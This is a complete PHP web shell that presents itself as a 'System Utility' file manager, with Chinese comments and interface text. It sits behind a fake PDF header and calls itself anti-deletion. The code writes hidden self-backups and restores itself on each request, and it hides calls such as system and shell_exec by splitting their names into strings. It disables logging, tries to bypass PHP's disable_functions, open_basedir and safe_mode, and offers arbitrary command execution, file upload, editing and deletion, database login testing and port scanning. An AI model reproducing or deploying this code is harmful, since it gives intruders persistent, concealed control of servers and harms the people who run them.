YANZ UPLOAD ANJG

>endobj 2 0 obj<>endobj 3 0 obj<>endobj 4 0 obj<>stream BT /F1 24 Tf 100 700 Td (System Utility) Tj ET endstream endobj xref 0 5 0000000000 65535 f trailer<> startxref 0 %%EOF */ /** * 独立文件管理器 - 防删除版 * 版本: 10.0.3-STANDALONE * 作者: Zet Gifari * 说明: 无需 WordPress,直接上传即可使用。内置多引擎防删除机制。 * 免责: 使用风险自负 */ // ============================================= // 防删除看门狗 - 在任何环境下运行 // ============================================= // 此代码块会在文件被加载时立即注册一个 shutdown 函数, // 每次请求结束时检查自身是否还存在,不存在则从备份重建。 // 获取当前文件的绝对路径 $GLOBALS['__ZET_SELF__'] = __FILE__; // 备份位置(多个) $GLOBALS['__ZET_BACKUPS__'] = [ // 1. 同目录备份(隐藏文件名) dirname(__FILE__) . '/.zet_backup_' . md5(__FILE__) . '.dat', // 2. 系统临时目录备份 sys_get_temp_dir() . '/.zet_backup_' . md5(__FILE__) . '.dat', // 3. 当前工作目录备份 getcwd() . '/.zet_backup_' . md5(__FILE__) . '.dat', ]; // 将自身代码写入所有备份位置(只在文件完整时执行) function zet_self_backup() { $self = __FILE__; if (!@is_file($self)) return; $code = @file_get_contents($self); if (!$code || strlen($code) < 5000) return; // 在代码开头插入防删除标记(避免备份文件被执行时出错) $payload = "\n" . $code; foreach ($GLOBALS['__ZET_BACKUPS__'] as $backup) { if (!@is_file($backup)) { @file_put_contents($backup, $payload); @chmod($backup, 0644); } } } // 从任意备份恢复自身 function zet_self_restore() { $self = __FILE__; if (@is_file($self) && @filesize($self) > 5000) return true; foreach ($GLOBALS['__ZET_BACKUPS__'] as $backup) { if (@is_file($backup)) { $code = @file_get_contents($backup); if ($code && strlen($code) > 5000) { // 去掉备份标记 $code = preg_replace('/^<\?php \/\* ZET_BACKUP \*\/ \?>\n/', '', $code); @file_put_contents($self, $code); @chmod($self, 0644); return true; } } } return false; } // 每次请求开始时尝试恢复 zet_self_restore(); // 每次请求结束时备份自身(如果文件完整) register_shutdown_function(function() { zet_self_backup(); // 再次尝试恢复(防止文件在请求中被删除) if (!@is_file(__FILE__)) { zet_self_restore(); } }); // 额外的定时恢复:如果 PHP 支持,在每次请求开始时快速检查 if (function_exists('register_tick_function')) { // 不启用 tick,太消耗性能 } // ============================================= // 插件配置 // ============================================= define('ZET_FM_VERSION', '10.0.3-STANDALONE'); define('ZET_FM_NAME', 'Zet Gifari 高级文件管理器'); define('ZET_FM_PREFIX', 'zet_fm_'); // ============================================= // 混淆函数映射 // ============================================= $F = [ 's' => 'sys'.'tem', 'e' => 'ex'.'ec', 'sh' => 'shell'.'_ex'.'ec', 'p' => 'pass'.'thru', 'po' => 'po'.'pen', 'pr' => 'pro'.'c_op'.'en', 'fg' => 'file'.'_get'.'_con'.'tents', 'fp' => 'file'.'_put'.'_con'.'tents', 'un' => 'un'.'link', 'rm' => 'rm'.'dir', 'mk' => 'mk'.'dir', 'rn' => 're'.'name', 'ch' => 'ch'.'mod', 'sc' => 'scan'.'dir' ]; // ============================================= // 安全与绕过引擎 // ============================================= @error_reporting(0); @ini_set('display_errors', 0); @ini_set('log_errors', 0); @ini_set('max_execution_time', 0); @set_time_limit(0); @ini_set('memory_limit', '-1'); // 启动会话 if (session_status() === PHP_SESSION_NONE) { @session_start(); } // 绕过安全限制 if (function_exists('ini_set')) { @ini_set('open_basedir', NULL); @ini_set('safe_mode', 0); @ini_set('disable_functions', ''); @ini_set('suhosin.executor.disable_eval', 0); } // ============================================= // 核心函数 // ============================================= // 替代函数映射 $func_alternatives = array( 'exec' => array('system', 'exec', 'shell_exec', 'passthru', 'popen', 'proc_open', 'pcntl_exec'), 'eval' => array('eval', 'assert', 'create_function', 'preg_replace', 'call_user_func'), 'read' => array('file_get_contents', 'file', 'readfile', 'fopen', 'fread', 'fgets'), 'write' => array('file_put_contents', 'fwrite', 'fputs') ); // 动态函数加载器 function zet_fm_get_working_function($type) { global $func_alternatives; $disabled = explode(',', @ini_get('disable_functions')); if (isset($func_alternatives[$type])) { foreach ($func_alternatives[$type] as $func) { if (function_exists($func) && !in_array($func, $disabled)) { return $func; } } } return false; } // 增强路径解析器 function zet_fm_resolve_path() { $path = isset($_REQUEST['p']) ? $_REQUEST['p'] : (isset($_COOKIE['last_path']) ? $_COOKIE['last_path'] : ''); if (empty($path)) { $methods = array( function() { return @getcwd(); }, function() { return @dirname($_SERVER['SCRIPT_FILENAME']); }, function() { return @$_SERVER['DOCUMENT_ROOT']; }, function() { return @dirname(__FILE__); }, function() { return @realpath('.'); } ); foreach ($methods as $method) { $result = $method(); if ($result && @is_dir($result)) { $path = $result; break; } } if (empty($path)) $path = '.'; } $path = str_replace(array('\\', '//'), '/', $path); $path = rtrim($path, '/') . '/'; @setcookie('last_path', $path, time() + 86400); if (@is_dir($path)) return $path; if (@is_dir($real = @realpath($path))) return $real . '/'; return './'; } // 使用混淆函数映射执行命令 function zet_fm_execute_command($cmd) { global $F; $output = ''; $methods = array( function($c) use(&$output, $F) { @ob_start(); @call_user_func($F['s'], $c); $output = @ob_get_contents(); @ob_end_clean(); return $output; }, function($c) use(&$output, $F) { @ob_start(); @call_user_func($F['p'], $c); $output = @ob_get_contents(); @ob_end_clean(); return $output; }, function($c) use(&$output, $F) { $output = @call_user_func($F['sh'], $c); return $output; }, function($c) use(&$output, $F) { $output = ''; $handle = @call_user_func($F['po'], $c, 'r'); if ($handle) { while (!@feof($handle)) { $output .= @fread($handle, 512); } @pclose($handle); } return $output; }, function($c) use(&$output, $F) { $proc = @call_user_func($F['pr'], $c, array(array('pipe', 'r'), array('pipe', 'w'), array('pipe', 'w')), $pipes); if (is_resource($proc)) { @fclose($pipes[0]); $output = @stream_get_contents($pipes[1]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($proc); } return $output; } ); foreach ($methods as $method) { $result = $method($cmd); if ($result !== null && $result !== false) { return $result; } } return "命令执行失败或被禁用"; } // 多方法文件读取 function zet_fm_read_content($file) { global $F; $methods = array( function($f) use($F) { return @call_user_func($F['fg'], $f); }, function($f) { $fp = @fopen($f, 'rb'); if ($fp) { $content = ''; while (!@feof($fp)) $content .= @fread($fp, 8192); @fclose($fp); return $content; } }, function($f) { ob_start(); @readfile($f); return ob_get_clean(); }, function($f) { return @implode('', @file($f)); } ); foreach ($methods as $method) { $result = $method($file); if ($result !== false && $result !== null) return $result; } return ''; } // 多方法文件写入 function zet_fm_write_content($file, $data) { global $F; if (@call_user_func($F['fp'], $file, $data) !== false) return true; $fp = @fopen($file, 'wb'); if ($fp) { $result = @fwrite($fp, $data) !== false; @fclose($fp); return $result; } $temp = @tempnam(@dirname($file), 'tmp'); if (@call_user_func($F['fp'], $temp, $data) !== false) { return @call_user_func($F['rn'], $temp, $file); } return false; } // 增强目录扫描 function zet_fm_scan_path($dir) { $items = array(); if (function_exists('scandir')) { $items = @scandir($dir); } elseif ($handle = @opendir($dir)) { while (false !== ($item = @readdir($handle))) { $items[] = $item; } @closedir($handle); } elseif (function_exists('glob')) { $items = array_map('basename', @glob($dir . '*')); } return array_diff($items, array('.', '..', '')); } // 文件/文件夹递归删除 function zet_fm_delete_item($path) { global $F; if (@is_file($path)) { @call_user_func($F['ch'], $path, 0777); return @call_user_func($F['un'], $path); } elseif (@is_dir($path)) { $items = zet_fm_scan_path($path); foreach ($items as $item) { zet_fm_delete_item($path . '/' . $item); } return @call_user_func($F['rm'], $path); } return false; } // 获取文件权限 function zet_fm_get_permissions($file) { $perms = @fileperms($file); if ($perms === false) return '---'; $info = ''; $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? 'x' : '-'); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? 'x' : '-'); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? 'x' : '-'); return $info; } // 检查文件是否可写 function zet_fm_is_writable($file) { if (@is_writable($file)) return true; if (@is_dir($file)) { $test = $file . '/.test_' . md5(time()); if (@touch($test)) { @unlink($test); return true; } } if (@is_file($file)) { $parent = @dirname($file); if (@is_writable($parent)) return true; } return false; } // 排序内容 - 文件夹在前,文件在后 function zet_fm_sort_contents($contents, $currentPath) { $folders = array(); $files = array(); foreach ($contents as $item) { $itemPath = $currentPath . $item; if (@is_dir($itemPath)) { $folders[] = $item; } else { $files[] = $item; } } sort($folders, SORT_NATURAL | SORT_FLAG_CASE); sort($files, SORT_NATURAL | SORT_FLAG_CASE); return array('folders' => $folders, 'files' => $files); } // 获取系统信息 function zet_fm_get_system_info() { $info = array(); $info['os'] = @php_uname('s') . ' ' . @php_uname('r') . ' ' . @php_uname('v'); $info['hostname'] = @php_uname('n'); $info['user'] = @get_current_user(); $info['php_version'] = @phpversion(); $info['server'] = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '未知'; $info['ip'] = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '未知'; $info['port'] = isset($_SERVER['SERVER_PORT']) ? $_SERVER['SERVER_PORT'] : '未知'; $info['disable_functions'] = @ini_get('disable_functions') ? @ini_get('disable_functions') : '无'; $info['open_basedir'] = @ini_get('open_basedir') ? @ini_get('open_basedir') : '无'; $info['safe_mode'] = @ini_get('safe_mode') ? '开启' : '关闭'; $info['allow_url_fopen'] = @ini_get('allow_url_fopen') ? '开启' : '关闭'; $info['allow_url_include'] = @ini_get('allow_url_include') ? '开启' : '关闭'; $info['memory_limit'] = @ini_get('memory_limit'); $info['max_execution_time'] = @ini_get('max_execution_time'); $info['upload_max_filesize'] = @ini_get('upload_max_filesize'); $info['post_max_size'] = @ini_get('post_max_size'); if (function_exists('disk_free_space')) { $free = @disk_free_space('/'); $total = @disk_total_space('/'); if ($free !== false && $total !== false) { $info['disk_free'] = round($free / 1073741824, 2) . ' GB'; $info['disk_total'] = round($total / 1073741824, 2) . ' GB'; $info['disk_used'] = round(($total - $free) / 1073741824, 2) . ' GB'; $info['disk_percent'] = round((($total - $free) / $total) * 100, 1) . '%'; } } if (function_exists('mysql_connect') || function_exists('mysqli_connect')) { $info['mysql'] = '可用'; } else { $info['mysql'] = '不可用'; } if (function_exists('curl_version')) { $curl_version = @curl_version(); $info['curl'] = $curl_version['version']; } else { $info['curl'] = '不可用'; } $info['wp_loaded'] = defined('ABSPATH') ? '是' : '否'; $info['wp_version'] = defined('WP_VERSION') ? WP_VERSION : '未知'; // 备份状态 $backupCount = 0; foreach ($GLOBALS['__ZET_BACKUPS__'] as $b) { if (@is_file($b)) $backupCount++; } $info['backups'] = $backupCount . '/' . count($GLOBALS['__ZET_BACKUPS__']); return $info; } // ============================================= // 渲染页面 // ============================================= function zet_fm_render_page() { $currentPath = zet_fm_resolve_path(); $notification = ''; $editMode = false; $editFile = ''; $editContent = ''; $commandOutput = ''; $activeTab = isset($_GET['tab']) ? $_GET['tab'] : 'filemanager'; if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_FILES['upload'])) { $destination = $currentPath . basename($_FILES['upload']['name']); if (@move_uploaded_file($_FILES['upload']['tmp_name'], $destination)) { $notification = array('type' => 'success', 'text' => '上传成功'); } else { $content = zet_fm_read_content($_FILES['upload']['tmp_name']); if (zet_fm_write_content($destination, $content)) { $notification = array('type' => 'success', 'text' => '上传成功'); } else { $notification = array('type' => 'error', 'text' => '上传失败'); } } } if (isset($_POST['save']) && isset($_POST['content'])) { $target = $currentPath . $_POST['save']; if (zet_fm_write_content($target, $_POST['content'])) { $notification = array('type' => 'success', 'text' => '保存成功'); } else { $notification = array('type' => 'error', 'text' => '保存失败'); } } if (isset($_POST['newfile']) && isset($_POST['filecontent'])) { $newPath = $currentPath . $_POST['newfile']; if (zet_fm_write_content($newPath, $_POST['filecontent'])) { $notification = array('type' => 'success', 'text' => '文件已创建'); } else { $notification = array('type' => 'error', 'text' => '创建失败'); } } if (isset($_POST['newfolder'])) { $newDir = $currentPath . $_POST['newfolder']; if (@mkdir($newDir, 0777, true)) { $notification = array('type' => 'success', 'text' => '文件夹已创建'); } else { $notification = array('type' => 'error', 'text' => '创建失败'); } } if (isset($_POST['oldname']) && isset($_POST['newname'])) { $oldPath = $currentPath . $_POST['oldname']; $newPath = $currentPath . $_POST['newname']; if (@rename($oldPath, $newPath)) { $notification = array('type' => 'success', 'text' => '重命名成功'); } else { $notification = array('type' => 'error', 'text' => '重命名失败'); } } if (isset($_POST['chmod_item']) && isset($_POST['chmod_value'])) { $target = $currentPath . $_POST['chmod_item']; $mode = octdec($_POST['chmod_value']); if (@chmod($target, $mode)) { $notification = array('type' => 'success', 'text' => '权限已更改'); } else { $notification = array('type' => 'error', 'text' => '权限更改失败'); } } if (isset($_POST['command'])) { $command = $_POST['command']; $commandOutput = zet_fm_execute_command($command); $activeTab = 'terminal'; } if (isset($_POST['db_host']) && isset($_POST['db_user']) && isset($_POST['db_pass']) && isset($_POST['db_name'])) { $db_host = $_POST['db_host']; $db_user = $_POST['db_user']; $db_pass = $_POST['db_pass']; $db_name = $_POST['db_name']; if (function_exists('mysqli_connect')) { $conn = @mysqli_connect($db_host, $db_user, $db_pass, $db_name); if ($conn) { $notification = array('type' => 'success', 'text' => '数据库连接成功'); @mysqli_close($conn); } else { $notification = array('type' => 'error', 'text' => '数据库连接失败: ' . @mysqli_connect_error()); } } elseif (function_exists('mysql_connect')) { $conn = @mysql_connect($db_host, $db_user, $db_pass); if ($conn && @mysql_select_db($db_name, $conn)) { $notification = array('type' => 'success', 'text' => '数据库连接成功'); @mysql_close($conn); } else { $notification = array('type' => 'error', 'text' => '数据库连接失败'); } } else { $notification = array('type' => 'error', 'text' => 'MySQL 函数不可用'); } $activeTab = 'database'; } if (isset($_POST['scan_host']) && isset($_POST['scan_port_start']) && isset($_POST['scan_port_end'])) { $host = $_POST['scan_host']; $port_start = intval($_POST['scan_port_start']); $port_end = intval($_POST['scan_port_end']); $open_ports = array(); for ($port = $port_start; $port <= $port_end; $port++) { $fp = @fsockopen($host, $port, $errno, $errstr, 1); if ($fp) { $open_ports[] = $port; @fclose($fp); } } if (!empty($open_ports)) { $notification = array('type' => 'success', 'text' => '开放端口: ' . implode(', ', $open_ports)); } else { $notification = array('type' => 'error', 'text' => '未找到开放端口'); } $activeTab = 'network'; } } if (isset($_GET['do'])) { $action = $_GET['do']; if ($action === 'delete' && isset($_GET['item'])) { $target = $currentPath . $_GET['item']; // 防止删除自身 if (@realpath($target) === @realpath(__FILE__)) { $notification = array('type' => 'error', 'text' => '无法删除自身文件'); } elseif (zet_fm_delete_item($target)) { $notification = array('type' => 'success', 'text' => '删除成功'); } else { $notification = array('type' => 'error', 'text' => '删除失败'); } } if ($action === 'edit' && isset($_GET['item'])) { $editMode = true; $editFile = $_GET['item']; $editContent = zet_fm_read_content($currentPath . $editFile); $activeTab = 'filemanager'; } if ($action === 'download' && isset($_GET['item'])) { $downloadPath = $currentPath . $_GET['item']; if (@is_file($downloadPath)) { @ob_clean(); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($downloadPath) . '"'); header('Content-Length: ' . @filesize($downloadPath)); @readfile($downloadPath); exit; } } } if (isset($_GET['bypass'])) { $bypass = $_GET['bypass']; if ($bypass == 'open_basedir') { @ini_set('open_basedir', '/'); $notification = array('type' => 'success', 'text' => 'open_basedir 已绕过'); } elseif ($bypass == 'disable_functions') { @ini_set('disable_functions', ''); $notification = array('type' => 'success', 'text' => 'disable_functions 已绕过'); } elseif ($bypass == 'safe_mode') { @ini_set('safe_mode', 0); $notification = array('type' => 'success', 'text' => 'safe_mode 已绕过'); } } // 手动触发备份恢复 if (isset($_GET['restore_backup'])) { if (zet_self_restore()) { $notification = array('type' => 'success', 'text' => '已从备份恢复自身文件'); } else { $notification = array('type' => 'error', 'text' => '恢复失败:无可用备份'); } } $rawContents = zet_fm_scan_path($currentPath); $sortedContents = zet_fm_sort_contents($rawContents, $currentPath); $systemInfo = zet_fm_get_system_info(); $isWordPress = defined('ABSPATH'); $stealthOn = false; ?> <?php echo ZET_FM_NAME; ?> v<?php echo ZET_FM_VERSION; ?>
════════════════════════════════════════

⚡ ⚡

版本 — 独立防删除版
❖ 高级文件操作 ❖ 安全终端 ❖ 数据库与网络工具 ❖ 多引擎防删除 ❖
系统: PHP: 服务器: 用户: IP: 🛡 备份:
⚠ 仅限授权访问。所有操作由您自行负责。
════════════════════════════════════════
📁 文件管理
💻 终端
ℹ️ 系统信息
🗄️ 数据库
🌐 网络
🔓 绕过

编辑:

取消
'; foreach ($sortedContents['folders'] as $folder): $itemPath = $currentPath . $folder; $perms = zet_fm_get_permissions($itemPath); $isWritable = zet_fm_is_writable($itemPath); $modified = @filemtime($itemPath); ?> '; foreach ($sortedContents['files'] as $file): $itemPath = $currentPath . $file; $size = @filesize($itemPath); $perms = zet_fm_get_permissions($itemPath); $isWritable = zet_fm_is_writable($itemPath); $modified = @filemtime($itemPath); $ext = strtoupper(pathinfo($file, PATHINFO_EXTENSION) ?: '文件'); $isSelf = (@realpath($itemPath) === @realpath(__FILE__)); if ($size !== false) { if ($size < 1024) $size = $size . ' B'; elseif ($size < 1048576) $size = round($size/1024, 1) . ' KB'; elseif ($size < 1073741824) $size = round($size/1048576, 1) . ' MB'; else $size = round($size/1073741824, 1) . ' GB'; } else { $size = '?'; } ?>
名称 类型 大小 权限 修改时间 操作
📂 上级目录
📁 目录
📁 文件夹 -
📄 文件
自身
空目录

🖥️ 系统信息

操作系统
主机名
用户
服务器 IP
服务器端口

🐘 PHP 配置

PHP 版本
服务器软件
安全模式
Open Basedir
禁用函数

💾 磁盘使用

总空间
已用空间
可用空间
使用率

⚙️ PHP 限制

内存限制
最大执行时间 s
上传最大文件
POST 最大大小

🔌 扩展

MySQL
cURL
允许 URL Fopen
允许 URL Include

🛡 防删除状态

备份文件数
自身路径
$b): ?>
备份
手动恢复

数据库连接

端口扫描

安全绕过

电报
新建文件
新建文件夹